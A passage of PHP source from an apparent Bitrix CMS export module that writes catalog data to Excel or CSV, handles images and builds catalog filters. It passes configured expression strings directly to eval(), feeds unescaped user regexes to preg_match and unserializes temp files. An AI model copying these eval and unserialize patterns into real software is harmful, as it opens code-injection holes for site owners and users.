$lastSectionKey = $sectionKey = $lastPage = $page = 1;
reset($arListIndexes);
while(($next = each($arListIndexes)) && $next['value']!=$listIndex){}
$next = each($arListIndexes);
$listIndex = (int)$next['value'];
unset($this->sepSectionIds);
$this->OpenTmpdataHandler($listIndex);
}
}
if($page > $lastPage)
{
$page = 1;
}
$this->stepparams['list_number'] = $listIndex;
$this->stepparams['list_current_page'] = $page;
$this->stepparams['list_last_page'] = $lastPage;
$this->stepparams['list_current_section'] = $sectionKey;
$this->stepparams['list_last_section'] = $lastSectionKey;
$this->stepparams['total_file_line'] = $recordCount;
$this->SaveStatusImport();
if($this->CheckTimeEnding())
{
return $this->GetBreakParams();
}
}
$this->CloseTmpdataHandler();
CKDAExportUtils::PrepareTextRows($this->params['TEXT_ROWS_TOP'], $this->params, $this->stepparams);
CKDAExportUtils::PrepareTextRows($this->params['TEXT_ROWS_TOP2'], $this->params, $this->stepparams);
$filePath = CKDAExportUtils::PrepareExportFileName($this->params['FILE_PATH']);
$outputFile = $this->docRoot.$filePath;
$dir = dirname($filePath);
if(file_exists($dir) && is_writable($dir))
{
$outputFile = $filePath;
}
$arWriterParams = array(
'OUTPUTFILE' => $outputFile,
'TMPDIR' => $this->tmpdir,
'IMAGEDIR' => $this->imagedir,
'LIST_INDEXES' => $arListIndexes,
'ROWS' => $this->stepparams['rows'],
'EXTRAPARAMS' => $this->fparams,
'PARAMS' => $this->params,
'LISTINDEX' => $listIndex
);
if($this->params['FILE_EXTENSION']=='xlsx')
{
$objWriter = false;
if(isset($this->stepparams['WRITER_FILE_PARAMS']) && file_exists($this->stepparams['WRITER_FILE_PARAMS']))
{
$objWriter = unserialize(file_get_contents($this->stepparams['WRITER_FILE_PARAMS']));
if(is_callable(array($objWriter, 'SetEObject')))
{
$objWriter->SetEObject($this);
}
}
if(!is_object($objWriter))
{
$objWriter = new CKDAExportExcelWriterXlsx($arWriterParams, $this);
}
if(false===$objWriter->Save()/* && $this->CheckTimeEnding()*/)
{
$writerFileParams = $this->tmpdir.'writer_params.txt';
file_put_contents($writerFileParams, serialize($objWriter));
$this->stepparams['WRITER_FILE_PARAMS'] = $writerFileParams;
return $this->GetBreakParams();
}
}
elseif($this->params['FILE_EXTENSION']=='csv')
{
$objWriter = false;
if(isset($this->stepparams['WRITER_FILE_PARAMS']) && file_exists($this->stepparams['WRITER_FILE_PARAMS']))
{
$objWriter = unserialize(file_get_contents($this->stepparams['WRITER_FILE_PARAMS']));
if(is_callable(array($objWriter, 'SetEObject')))
{
$objWriter->SetEObject($this);
}
}
if(!is_object($objWriter))
{
$objWriter = new CKDAExportExcelWriterCsv($arWriterParams, $this);
}
if(false===$objWriter->Save()/* && $this->CheckTimeEnding()*/)
{
$writerFileParams = $this->tmpdir.'writer_params.txt';
file_put_contents($writerFileParams, serialize($objWriter));
$this->stepparams['WRITER_FILE_PARAMS'] = $writerFileParams;
return $this->GetBreakParams();
}
}
else
{
$writerType = 'CSV';
if($this->params['FILE_EXTENSION']=='xlsx') $writerType = 'Excel2007';
elseif($this->params['FILE_EXTENSION']=='xls') $writerType = 'Excel5';
$objPHPExcel = new KDAPHPExcel();
$arCols = range('A', 'Z');
foreach(range('A', 'Z') as $v1)
{
foreach(range('A', 'Z') as $v2)
{
$arCols[] = $v1.$v2;
}
}
$row = 1;
foreach($arListIndexes as $listIndex)
{
$arFields = $this->GetFieldList($listIndex);
if($listIndex == 0) $worksheet = $objPHPExcel->getActiveSheet();
else
{
if($writerType != 'CSV')
{
$worksheet = $objPHPExcel->createSheet();
$row = 1;
}
}
if($this->params['LIST_NAME'][$listIndex])
{
$worksheet->setTitle($this->GetCellValue($this->params['LIST_NAME'][$listIndex]));
}
if(isset($this->params['TEXT_ROWS_TOP'][$listIndex]))
{
foreach($this->params['TEXT_ROWS_TOP'][$listIndex] as $k=>$v)
{
$worksheet->setCellValueExplicit($arCols[0].$row, $this->GetCellValue($v));
$row++;
}
}
if($this->params['HIDE_COLUMN_TITLES'][$listIndex]!='Y')
{
$col = 0;
$fNames = array();
if(isset($this->params['FIELDS_LIST_NAMES'][$listIndex]))
{
$fNames = $this->params['FIELDS_LIST_NAMES'][$listIndex];
}
foreach($arFields as $k=>$field)
{
$width = 200;
if((int)$this->fparams[$listIndex][$col]['DISPLAY_WIDTH'] > 0) $width = (int)$this->fparams[$listIndex][$col]['DISPLAY_WIDTH'];
$worksheet->getColumnDimension($arCols[$col])->setWidth($width / 9.7);
$worksheet->setCellValueExplicit($arCols[$col].$row, $this->GetCellValue($fNames[$k]));
$col++;
}
$row++;
}
if(isset($this->params['TEXT_ROWS_TOP2'][$listIndex]))
{
foreach($this->params['TEXT_ROWS_TOP2'][$listIndex] as $k=>$v)
{
$worksheet->setCellValueExplicit($arCols[0].$row, $this->GetCellValue($v));
$row++;
}
}
$this->OpenTmpdataHandler($listIndex, 'r');
while(!feof($this->tmpdatafilehandler))
{
$buffer = trim(fgets($this->tmpdatafilehandler));
if(strlen($buffer) < 1) continue;
$arElement = unserialize(base64_decode($buffer));
if(empty($arElement)) continue;
if(isset($arElement['RTYPE']) && ($arElement['RTYPE']=='SECTION_PATH' || preg_match('/^SECTION_\d+$/', $arElement['RTYPE'])))
{
$worksheet->setCellValueExplicit($arCols[0].$row, $this->GetCellValue($arElement['NAME']));
}
else
{
$col = 0;
foreach($arFields as $k=>$field)
{
$worksheet->setCellValueExplicit($arCols[$col++].$row, $this->GetCellValue((isset($arElement[$field.'_'.$k]) ? $arElement[$field.'_'.$k] : $arElement[$field])));
}
}
$row++;
}
$this->CloseTmpdataHandler();
}
$objWriter = KDAPHPExcel_IOFactory::createWriter($objPHPExcel, $writerType);
if($writerType == 'CSV')
{
//$objWriter->setExcelCompatibility(true);
$delimiter = ($this->params['CSV_SEPARATOR'] ? $this->params['CSV_SEPARATOR'] : ';');
$objWriter->setDelimiter($delimiter);
$enclosure = ($this->params['CSV_ENCLOSURE'] ? $this->params['CSV_ENCLOSURE'] : '"');
$objWriter->setEnclosure($enclosure);
if($this->params['CSV_ENCODING']=='UTF-8')
{
$objWriter->setUseBOM(true);
}
}
$objWriter->save($outputFile);
}
$this->SaveStatusImport(true);
return $this->GetBreakParams('finish');
}
public function GetCellValue($val)
{
if($this->params['FILE_EXTENSION']=='csv' && $this->params['CSV_ENCODING']=='CP1251')
{
if(defined('BX_UTF') && BX_UTF)
{
$val = $GLOBALS['APPLICATION']->ConvertCharset($val, 'UTF-8', 'CP1251');
}
}
elseif(!defined('BX_UTF') || !BX_UTF)
{
$val = $GLOBALS['APPLICATION']->ConvertCharset($val, 'CP1251', 'UTF-8');
}
return $val;
}
public function GetBreakParams($action = 'continue')
{
$arStepParams = array(
'params'=> $this->stepparams,
'action' => $action,
'errors' => $this->errors,
'sessid' => bitrix_sessid()
);
if($action == 'continue')
{
fclose($this->tmpdatafilehandler);
file_put_contents($this->tmpfile, serialize($arStepParams['params']));
/*if(file_exists($this->imagedir))
{
DeleteDirFilesEx(substr($this->imagedir, strlen($this->docRoot)));
}*/
}
elseif(file_exists($this->tmpdir))
{
DeleteDirFilesEx(substr($this->tmpdir, strlen($this->docRoot)));
unlink($this->procfile);
}
return $arStepParams;
}
public function ExecuteFilterExpression($val, $expression, $altReturn = true)
{
$expression = trim($expression);
try{
if(stripos($expression, 'return')===0)
{
return eval($expression.';');
}
elseif(preg_match('/\$val\s*=/', $expression))
{
eval($expression.';');
return $val;
}
else
{
return eval('return '.$expression.';');
}
}catch(Exception $ex){
return $altReturn;
}
}
public function ExecuteOnAfterSaveHandler($handler, $ID)
{
try{
eval($handler.';');
}catch(Exception $ex){}
}
public function SaveStatusImport($end = false)
{
if($this->procfile)
{
$writeParams = $this->stepparams;
$writeParams['action'] = ($end ? 'finish' : 'continue');
file_put_contents($this->procfile, CUtil::PhpToJSObject($writeParams));
}
}
public function GetFileArray($file, $arDef=array())
{
$file = trim($file);
if(strpos($file, '/')===0)
{
if(file_exists($this->docRoot.$file))
{
$arFile = CFile::MakeFileArray($file);
$ext = '.jpg';
if(preg_match('/\.[^\.]{2,5}$/', $arFile['name'], $m))
{
$ext = ToLower($m[0]);
}
$file = $this->imagedir.'image'.(++$this->stepparams['image_cnt']).$ext;
copy($arFile['tmp_name'], $file);
}
else
{
$arFile = array();
}
}
elseif(preg_match('/http(s)?:\/\//', $file))
{
$arUrl = parse_url($file);
//Cyrillic domain
if(preg_match('/[^A-Za-z0-9\-\.]/', $arUrl['host']))
{
if(!class_exists('idna_convert')) require_once(dirname(__FILE__).'/../../lib/idna_convert.class.php');
if(class_exists('idna_convert'))
{
$idn = new idna_convert();
$oldHost = $arUrl['host'];
if(!CUtil::DetectUTF8($oldHost)) $oldHost = CKDAExportUtils::Win1251Utf8($oldHost);
$file = str_replace($arUrl['host'], $idn->encode($oldHost), $file);
}
}
}
$arFile = CFile::MakeFileArray($file);
if(!$arFile['name'] && !CUtil::DetectUTF8($file))
{
$file = CKDAExportUtils::Win1251Utf8($file);
$arFile = CFile::MakeFileArray($file);
}
if(strpos($arFile['type'], 'image/')===0)
{
$ext = ToLower(str_replace('image/', '', $arFile['type']));
if(substr($arFile['name'], -(strlen($ext) + 1))!='.'.$ext)
{
if($ext!='jpeg' || (($ext='jpg') && substr($arFile['name'], -(strlen($ext) + 1))!='.'.$ext))
{
$arFile['name'] = $arFile['name'].'.'.$ext;
}
}
}
if(!empty($arDef))
{
$arFile = $this->PictureProcessing($arFile, $arDef);
}
return $arFile;
}
public function GetBoolValue($val)
{
$trueVals = array_map('trim', explode(',', GetMessage("KDA_EE_FIELD_VAL_Y")));
$falseVals = array_map('trim', explode(',', GetMessage("KDA_EE_FIELD_VAL_N")));
if(in_array(ToLower($val), $trueVals))
{
return 'Y';
}
elseif(in_array(ToLower($val), $falseVals))
{
return 'N';
}
else
{
return false;
}
}
public function GetIblockProperties($IBLOCK_ID)
{
if(!$this->props[$IBLOCK_ID])
{
$this->props[$IBLOCK_ID] = array();
$dbRes = CIBlockProperty::GetList(array(), array('IBLOCK_ID'=>$IBLOCK_ID));
while($arProp = $dbRes->Fetch())
{
$this->props[$IBLOCK_ID][$arProp['ID']] = $arProp;
}
}
return $this->props[$IBLOCK_ID];
}
public function GetPropertyListValue($arProp, $val)
{
if($val)
{
if(!isset($this->propVals[$arProp['ID']][$val]))
{
$dbRes = CIBlockPropertyEnum::GetList(array(), array("PROPERTY_ID"=>$arProp['ID'], "ID"=>$val));
if($arPropEnum = $dbRes->Fetch())
{
$this->propVals[$arProp['ID']][$val] = $arPropEnum['VALUE'];
}
else
{
$this->propVals[$arProp['ID']][$val] = '';
}
}
$val = $this->propVals[$arProp['ID']][$val];
}
return $val;
}
public function GetPropertyElementValue($arProp, $val, $relField)
{
if($val)
{
$selectField = 'NAME';
if($relField)
{
if(strpos($relField, 'IE_')===0)
{
$selectField = substr($relField, 3);
}
elseif(strpos($relField, 'IP_PROP')===0)
{
$selectField = 'PROPERTY_'.substr($relField, 7);
}
}
if(!isset($this->propVals[$arProp['ID']][$selectField][$val]))
{
$dbRes = CIBlockElement::GetList(array(), array("ID"=>$val), false, false, array($selectField));
if($arElem = $dbRes->GetNext())
{
$selectedField = $selectField;
if(strpos($selectedField, 'PROPERTY_')===0) $selectedField .= '_VALUE';
$this->propVals[$arProp['ID']][$selectField][$val] = $arElem[$selectedField];
}
else
{
$this->propVals[$arProp['ID']][$selectField][$val] = '';
}
}
$val = $this->propVals[$arProp['ID']][$selectField][$val];
}
return $val;
}
public function GetPropertySectionValue($arProp, $val, $relField)
{
if($val)
{
$selectField = 'NAME';
if($relField)
{
$selectField = $relField;
}
if(!isset($this->propVals[$arProp['ID']][$selectField][$val]))
{
$arFilter = array("ID"=>$val);
if($arProp['LINK_IBLOCK_ID']) $arFilter['IBLOCK_ID'] = $arProp['LINK_IBLOCK_ID'];
$dbRes = CIBlockSection::GetList(array(), $arFilter, false, array($selectField));
if($arSect = $dbRes->GetNext())
{
$this->propVals[$arProp['ID']][$selectField][$val] = $arSect[$selectField];
}
else
{
$this->propVals[$arProp['ID']][$selectField][$val] = '';
}
}
$val = $this->propVals[$arProp['ID']][$selectField][$val];
}
return $val;
}
public function GetFileValue($val)
{
if($val)
{
$arFile = CFile::GetFileArray($val);
if($arFile)
{
$val = $arFile['SRC'];
}
else
{
$val = '';
}
}
return $val;
}
public function GetFileDescription($val)
{
if($val)
{
$arFile = CFile::GetFileArray($val);
if($arFile)
{
$val = $arFile['DESCRIPTION'];
}
else
{
$val = '';
}
}
return $val;
}
public function GetHighloadBlockValue($arProp, $val)
{
if($val && CModule::IncludeModule('highloadblock') && $arProp['USER_TYPE_SETTINGS']['TABLE_NAME'])
{
if(!isset($this->propVals[$arProp['ID']][$val]))
{
if(!$this->hlbl[$arProp['ID']])
{
$hlblock = \Bitrix\Highloadblock\HighloadBlockTable::getList(array('filter'=>array('TABLE_NAME'=>$arProp['USER_TYPE_SETTINGS']['TABLE_NAME'])))->fetch();
$entity = \Bitrix\Highloadblock\HighloadBlockTable::compileEntity($hlblock);
$this->hlbl[$arProp['ID']] = $entity->getDataClass();
}
$entityDataClass = $this->hlbl[$arProp['ID']];
$dbRes2 = $entityDataClass::GetList(array('filter'=>array("UF_XML_ID"=>$val), 'select'=>array('ID', 'UF_NAME'), 'limit'=>1));
if($arr2 = $dbRes2->Fetch())
{
$this->propVals[$arProp['ID']][$val] = $arr2['UF_NAME'];
}
else
{
$this->propVals[$arProp['ID']][$val] = '';
}
}
return $this->propVals[$arProp['ID']][$val];
}
return $val;
}
public function GetHTMLValue($arProp, $val)
{
if(isset($val['TEXT'])) return $val['TEXT'];
else return $val;
}
public function PictureProcessing($arFile, $arDef)
{
if($arDef["SCALE"] === "Y")
{
$arNewPicture = CIBlock::ResizePicture($arFile, $arDef);
if(is_array($arNewPicture))
{
$arFile = $arNewPicture;
}
/*elseif($arDef["IGNORE_ERRORS"] !== "Y")
{
unset($arFile);
$strWarning .= GetMessage("IBLOCK_FIELD_PREVIEW_PICTURE").": ".$arNewPicture."<br>";
}*/
}
if($arDef["USE_WATERMARK_FILE"] === "Y")
{
CIBLock::FilterPicture($arFile["tmp_name"], array(
"name" => "watermark",
"position" => $arDef["WATERMARK_FILE_POSITION"],
"type" => "file",
"size" => "real",
"alpha_level" => 100 - min(max($arDef["WATERMARK_FILE_ALPHA"], 0), 100),
"file" => $this->docRoot.Rel2Abs("/", $arDef["WATERMARK_FILE"]),
));
}
if($arDef["USE_WATERMARK_TEXT"] === "Y")
{
CIBLock::FilterPicture($arFile["tmp_name"], array(
"name" => "watermark",
"position" => $arDef["WATERMARK_TEXT_POSITION"],
"type" => "text",
"coefficient" => $arDef["WATERMARK_TEXT_SIZE"],
"text" => $arDef["WATERMARK_TEXT"],
"font" => $this->docRoot.Rel2Abs("/", $arDef["WATERMARK_TEXT_FONT"]),
"color" => $arDef["WATERMARK_TEXT_COLOR"],
));
}
return $arFile;
}
public function GetIblockSite($IBLOCK_ID)
{
if(!isset($this->arIblockSites)) $this->arIblockSites = array();
if(!$this->arIblockSites[$IBLOCK_ID])
{
$dbRes = CIBlock::GetList(array(), array('ID'=>$IBLOCK_ID));
$arIblock = $dbRes->Fetch();
$this->arIblockSites[$IBLOCK_ID] = $arIblock['LID'];
}
return $this->arIblockSites[$IBLOCK_ID];
}
public function ConversionReplaceValues($m)
{
$k = substr($m[0], 1, -1);
if(1 || isset($this->currentItemValues[$k]))
{
return $this->currentItemValues[$k];
}
return $m[0];
}
public function ApplyConversions($val, $arConv, $arItem, $field=false, $iblockFields=array())
{
$fieldName = $fieldKey = false;
if(!is_array($field))
{
$fieldName = $field;
}
else
{
if($field['NAME']) $fieldName = $field['NAME'];
if($field['KEY']) $fieldKey = $field['KEY'];
}
if(is_array($arConv))
{
$execConv = false;
$this->currentItemValues = $arItem;
foreach($arConv as $k=>$v)
{
$condVal = $val;
if(strlen($v['CELL']) > 0 && !in_array($v['CELL'], array('ELSE')))
{
$condVal = $arItem[$v['CELL']];
}
if(is_array($condVal)) $condVal = implode($this->params['ELEMENT_MULTIPLE_SEPARATOR'], $condVal);
if(strlen($v['FROM']) > 0) $v['FROM'] = preg_replace_callback('/(#[A-Za-z0-9\_]+#)/', array($this, 'ConversionReplaceValues'), $v['FROM']);
if($v['CELL']=='ELSE') $v['WHEN'] = '';
if(($v['CELL']=='ELSE' && !$execConv)
|| ($v['WHEN']=='EQ' && ($condVal==$v['FROM'] && strlen($condVal)==strlen($v['FROM'])))
|| ($v['WHEN']=='NEQ' && ($condVal!=$v['FROM'] || strlen($condVal)!=strlen($v['FROM'])))
|| ($v['WHEN']=='GT' && $condVal > $v['FROM'])
|| ($v['WHEN']=='LT' && $condVal < $v['FROM'])
|| ($v['WHEN']=='GEQ' && $condVal >= $v['FROM'])
|| ($v['WHEN']=='LEQ' && $condVal <= $v['FROM'])
|| ($v['WHEN']=='CONTAIN' && strpos($condVal, $v['FROM'])!==false)
|| ($v['WHEN']=='NOT_CONTAIN' && strpos($condVal, $v['FROM'])===false)
|| ($v['WHEN']=='REGEXP' && preg_match('/'.$v['FROM'].'/', $condVal))
|| ($v['WHEN']=='EMPTY' && strlen($condVal)==0)
|| ($v['WHEN']=='NOT_EMPTY' && strlen($condVal) > 0)
|| ($v['WHEN']=='ANY'))
{
$this->currentFieldKey = $fieldKey;
if(strlen($v['TO']) > 0) $v['TO'] = preg_replace_callback('/(#[A-Za-z0-9\_]+#)/', array($this, 'ConversionReplaceValues'), $v['TO']);
if($v['THEN']=='REPLACE_TO') $val = $v['TO'];
elseif($v['THEN']=='REMOVE_SUBSTRING' && strlen($v['TO']) > 0) $val = str_replace($v['TO'], '', $val);
elseif($v['THEN']=='REPLACE_SUBSTRING_TO' && strlen($v['FROM']) > 0) $val = str_replace($v['FROM'], $v['TO'], $val);
elseif($v['THEN']=='ADD_TO_BEGIN') $val = $v['TO'].$val;
elseif($v['THEN']=='ADD_TO_END') $val = $val.$v['TO'];
elseif($v['THEN']=='MATH_ROUND') $val = round(doubleval(str_replace(',', '.', $val)));
elseif($v['THEN']=='MATH_MULTIPLY') $val = doubleval(str_replace(',', '.', $val)) * doubleval(str_replace(',', '.', $v['TO']));
elseif($v['THEN']=='MATH_DIVIDE') $val = doubleval(str_replace(',', '.', $val)) / doubleval(str_replace(',', '.', $v['TO']));
elseif($v['THEN']=='MATH_ADD') $val = doubleval(str_replace(',', '.', $val)) + doubleval(str_replace(',', '.', $v['TO']));
elseif($v['THEN']=='MATH_SUBTRACT') $val = doubleval(str_replace(',', '.', $val)) - doubleval(str_replace(',', '.', $v['TO']));
elseif($v['THEN']=='NOT_LOAD') $val = false;
elseif($v['THEN']=='EXPRESSION') $val = $this->ExecuteFilterExpression($val, $v['TO'], '');
elseif($v['THEN']=='STRIP_TAGS') $val = strip_tags($val);
elseif($v['THEN']=='CLEAR_TAGS') $val = preg_replace('/<([a-z][a-z0-9:]*)[^>]*(\/?)>/i','<$1$2>', $val);
elseif($v['THEN']=='ADD_LINK') $val = '<a class="kda-ee-conversion-link" href="'.$v['TO'].'">'.$val.'</a>';
elseif($v['THEN']=='TRANSLIT')
{
$arParams = array();
if($fieldName && !empty($iblockFields))
{
$paramName = '';
if($fieldName=='IE_CODE') $paramName = 'CODE';
if(preg_match('/^ISECT\d+_CODE$/', $fieldName)) $paramName = 'SECTION_CODE';
if($paramName && $iblockFields[$paramName]['DEFAULT_VALUE']['TRANSLITERATION']=='Y')
{
$arParams = $iblockFields['SECTION_CODE']['DEFAULT_VALUE'];
}
}
$val = $this->Str2Url($val, $arParams);
}
$execConv = true;
}
}
}
return $val;
}
public function GetExportData($listIndex, $limit=10, $page=1, $sectionKey=1)
{
$this->listIndex = $listIndex;
$arNavParams = false;
if(is_numeric($limit) && $limit > 0)
{
if($page==0)
{
$arNavParams = array('nTopCount' => (int)$limit);
}
else
{
$arNavParams = array(
'nPageSize' => (int)$limit,
'iNumPage' => $page
);
}
}
$iblockId = $this->params['IBLOCK_ID'];
$changeIblockId = (bool)($this->params['CHANGE_IBLOCK_ID'][$listIndex]=='Y');
if($changeIblockId && $this->params['LIST_IBLOCK_ID'][$listIndex])
{
$iblockId = $this->params['LIST_IBLOCK_ID'][$listIndex];
}
$boolSKU = false;
if($arCatalog = CKDAExportUtils::GetOfferIblock($iblockId, true))
{
$offersIblockId = $arCatalog['OFFERS_IBLOCK_ID'];
$offersPropId = $arCatalog['OFFERS_PROPERTY_ID'];
$boolSKU = true;
}
if(!isset($this->filters)) $this->filters = array();
if(!isset($this->skuFilters)) $this->filters = array();
if(!isset($this->filters[$listIndex]))
{
$arFilter = array(
'IBLOCK_ID' => $iblockId
);
if($this->params['EXPORT_SEP_SECTIONS']=='Y')
{
$arFilter['!SECTION_ID'] = false;
$arFilter['INCLUDE_SUBSECTIONS'] = 'N';
}
if($this->params['FILTER'][$listIndex])
{
if(!isset($this->filterProps)) $this->filterProps = array();
if(!isset($this->filterProps[$iblockId]))
{
$dbrFProps = CIBlockProperty::GetList(
array(
"SORT"=>"ASC",
"NAME"=>"ASC"
),
array(
"IBLOCK_ID"=>$iblockId,
"CHECK_PERMISSIONS"=>"N",
)
);
$arProps = array();
while ($arProp = $dbrFProps->GetNext())
{
if ($arProp["ACTIVE"] == "Y")
{
$arProp["PROPERTY_USER_TYPE"] = ('' != $arProp["USER_TYPE"] ? CIBlockProperty::GetUserType($arProp["USER_TYPE"]) : array());
$arProps[] = $arProp;
}
}
$this->filterProps[$iblockId] = $arProps;
}
else
{
$arProps = $this->filterProps[$iblockId];
}
$arAddFilter = $this->params['FILTER'][$listIndex];
$arSkuFilter = array();
if ($boolSKU)
{
$arSkuFilter = array("IBLOCK_ID" => $offersIblockId);
if(!empty($arProductIds)) $arSkuFilter['ID'] = $arProductIds;
if(strlen($arAddFilter['find_sub_el_active']) > 0) $arSkuFilter['ACTIVE'] = $arAddFilter['find_sub_el_active'];
$this->AddDateFilter($arSkuFilter, $arAddFilter, 'DATE_MODIFY_FROM', 'DATE_MODIFY_TO', 'find_sub_el_timestamp');
if(strlen($arAddFilter['find_sub_el_catalog_quantity']) > 0)
{
$op = $this->GetNumberOperation($arAddFilter['find_sub_el_catalog_quantity'], $arAddFilter['find_sub_el_catalog_quantity_comp']);
$arSkuFilter[$op.'CATALOG_QUANTITY'] = $arAddFilter['find_sub_el_catalog_quantity'];
}
$arStoreKeys = preg_grep('/^find_sub_el_catalog_store\d+_/', array_keys($arAddFilter));
$arStoreKeys = array_unique(array_map(create_function('$n', 'return preg_replace("/^find_sub_el_catalog_store(\d+)_.*$/", "$1", $n);'), $arStoreKeys));
if(!empty($arStoreKeys))
{
foreach($arStoreKeys as $storeKey)
{
if(strlen($arAddFilter['find_sub_el_catalog_store'.$storeKey.'_quantity']) > 0)
{
$op = $this->GetNumberOperation($arAddFilter['find_sub_el_catalog_store'.$storeKey.'_quantity'], $arAddFilter['find_sub_el_catalog_store'.$storeKey.'_quantity_comp']);
$arSkuFilter[$op.'CATALOG_STORE_AMOUNT_'.$storeKey] = $arAddFilter['find_sub_el_catalog_store'.$storeKey.'_quantity'];
}
}
}
if(strlen($arAddFilter['find_sub_el_catalog_store_any_quantity']) > 0 && is_array($arAddFilter['find_sub_el_catalog_store_any_quantity_stores']) && count($arAddFilter['find_sub_el_catalog_store_any_quantity_stores']) > 0)
{
$op = $this->GetNumberOperation($arAddFilter['find_sub_el_catalog_store_any_quantity'], $arAddFilter['find_sub_el_catalog_store_any_quantity_comp']);
$arFilterItem = array('LOGIC'=>'OR');
foreach($arAddFilter['find_sub_el_catalog_store_any_quantity_stores'] as $storeKey)
{
$arFilterItem[] = array($op.'CATALOG_STORE_AMOUNT_'.$storeKey=>$arAddFilter['find_sub_el_catalog_store_any_quantity']);
}
$arSkuFilter[] = $arFilterItem;
}
$arPriceKeys = preg_grep('/^find_sub_el_catalog_price_\d+$/', array_keys($arAddFilter));
$arPriceKeys = array_unique(array_map(create_function('$n', 'return preg_replace("/^find_sub_el_catalog_price_(\d+)$/", "$1", $n);'), $arPriceKeys));
if(!empty($arPriceKeys))
{
foreach($arPriceKeys as $priceKey)
{
if(strlen($arAddFilter['find_sub_el_catalog_price_'.$priceKey]) > 0
|| $arAddFilter['find_sub_el_catalog_price_'.$priceKey.'_comp']=='empty')
{
$op = $this->GetNumberOperation($arAddFilter['find_sub_el_catalog_price_'.$priceKey], $arAddFilter['find_sub_el_catalog_price_'.$priceKey.'_comp']);
$arSkuFilter[$op.'CATALOG_PRICE_'.$priceKey] = $arAddFilter['find_sub_el_catalog_price_'.$priceKey];
}
}
}
/*foreach ($arSKUProps as $arProp)
{
if (!empty($arProp["PROPERTY_USER_TYPE"]) && isset($arProp["PROPERTY_USER_TYPE"]["AddFilterFields"]))
{
call_user_func_array($arProp["PROPERTY_USER_TYPE"]["AddFilterFields"], array(
$arProp,
array("VALUE" => "find_sub_el_property_".$arProp["ID"]),
&$arSubQuery,
&$filtered,
));
}
else
{
$value = ${"find_sub_el_property_".$arProp["ID"]};
if(is_array($value) || strlen($value))
{
if($value === "NOT_REF")
$value = false;
$arSubQuery["?PROPERTY_".$arProp["ID"]] = $value;
}
}
}*/
}
$arProductIds = array();
if(strlen($arAddFilter['find_el_sale_order']) > 0 && CModule::IncludeModule('sale'))
{
$arOrders = array_diff(preg_split('/\D+/', $arAddFilter['find_el_sale_order']), array(''));
if(!empty($arOrders))
{
$dbRes = CSaleBasket::GetList(array(), array('ORDER_ID'=>$arOrders), array('PRODUCT_ID'), false, array('PRODUCT_ID'));
while($arr = $dbRes->Fetch())
{
$arProductIds[] = $arr['PRODUCT_ID'];
}
if(!empty($arProductIds))
{
$arFilter['ID'] = $arProductIds;
}
}
}
if(is_array($arAddFilter['find_section_section']) && count(array_diff($arAddFilter['find_section_section'], array('','-1'))) > 0)
$arFilter['SECTION_ID'] = array_diff($arAddFilter['find_section_section'], array('', '-1'));
elseif(strlen($arAddFilter['find_section_section']) > 0 && (int)$arAddFilter['find_section_section'] >= 0)
$arFilter['SECTION_ID'] = $arAddFilter['find_section_section'];
if($arAddFilter['find_el_subsections']=='Y')
{
if($arFilter['SECTION_ID']==0) unset($arFilter["SECTION_ID"]);
else $arFilter["INCLUDE_SUBSECTIONS"] = "Y";
}
if(strlen($arAddFilter['find_el_modified_user_id']) > 0) $arFilter['MODIFIED_USER_ID'] = $arAddFilter['find_el_modified_user_id'];
if(strlen($arAddFilter['find_el_modified_by']) > 0) $arFilter['MODIFIED_BY'] = $arAddFilter['find_el_modified_by'];
if(strlen($arAddFilter['find_el_created_user_id']) > 0) $arFilter['CREATED_USER_ID'] = $arAddFilter['find_el_created_user_id'];
if(strlen($arAddFilter['find_el_active']) > 0) $arFilter['ACTIVE'] = $arAddFilter['find_el_active'];
if(strlen($arAddFilter['find_el_code']) > 0) $arFilter['?CODE'] = $arAddFilter['find_el_code'];
if(strlen($arAddFilter['find_el_external_id']) > 0) $arFilter['EXTERNAL_ID'] = $arAddFilter['find_el_external_id'];
if(strlen($arAddFilter['find_el_tags']) > 0) $arFilter['?TAGS'] = $arAddFilter['find_el_tags'];
if(strlen($arAddFilter['find_el_name']) > 0) $arFilter['?NAME'] = $arAddFilter['find_el_name'];
if(strlen($arAddFilter['find_el_intext']) > 0) $arFilter['?DETAIL_TEXT'] = $arAddFilter['find_el_intext'];
if($arAddFilter['find_el_preview_picture']=='Y') $arFilter['!PREVIEW_PICTURE'] = false;
elseif($arAddFilter['find_el_preview_picture']=='N') $arFilter['PREVIEW_PICTURE'] = false;
if($arAddFilter['find_el_detail_picture']=='Y') $arFilter['!DETAIL_PICTURE'] = false;
elseif($arAddFilter['find_el_detail_picture']=='N') $arFilter['DETAIL_PICTURE'] = false;
if(!empty($arAddFilter['find_el_id_start'])) $arFilter[">=ID"] = $arAddFilter['find_el_id_start'];
if(!empty($arAddFilter['find_el_id_end'])) $arFilter["<=ID"] = $arAddFilter['find_el_id_end'];
$this->AddDateFilter($arFilter, $arAddFilter, 'DATE_MODIFY_FROM', 'DATE_MODIFY_TO', 'find_el_timestamp');
$this->AddDateFilter($arFilter, $arAddFilter, '>=DATE_CREATE', '<=DATE_CREATE', 'find_el_created');
if(!empty($arAddFilter['find_el_created_by']) && strlen($arAddFilter['find_el_created_by'])>0) $arFilter["CREATED_BY"] = $arAddFilter['find_el_created_by'];
if(!empty($arAddFilter['find_el_date_active_from_from'])) $arFilter[">=DATE_ACTIVE_FROM"] = $arAddFilter['find_el_date_active_from_from'];
if(!empty($arAddFilter['find_el_date_active_from_to'])) $arFilter["<=DATE_ACTIVE_FROM"] = $arAddFilter['find_el_date_active_from_to'];
if(!empty($arAddFilter['find_el_date_active_to_from'])) $arFilter[">=DATE_ACTIVE_TO"] = $arAddFilter['find_el_date_active_to_from'];
if(!empty($arAddFilter['find_el_date_active_to_to'])) $arFilter["<=DATE_ACTIVE_TO"] = $arAddFilter['find_el_date_active_to_to'];
if (!empty($arAddFilter['find_el_catalog_type'])) $arFilter['CATALOG_TYPE'] = $arAddFilter['find_el_catalog_type'];
if (!empty($arAddFilter['find_el_catalog_available'])) $arFilter['CATALOG_AVAILABLE'] = $arAddFilter['find_el_catalog_available'];
if (!empty($arAddFilter['find_el_catalog_bundle'])) $arFilter['CATALOG_BUNDLE'] = $arAddFilter['find_el_catalog_bundle'];
if (strlen($arAddFilter['find_el_catalog_quantity']) > 0)
{
$op = $this->GetNumberOperation($arAddFilter['find_el_catalog_quantity'], $arAddFilter['find_el_catalog_quantity_comp']);
if(!empty($arSkuFilter) && defined('\Bitrix\Catalog\ProductTable::TYPE_SKU'))
{
$arFilter[] = array('LOGIC'=>'OR',
array('CATALOG_TYPE'=>\Bitrix\Catalog\ProductTable::TYPE_SKU),
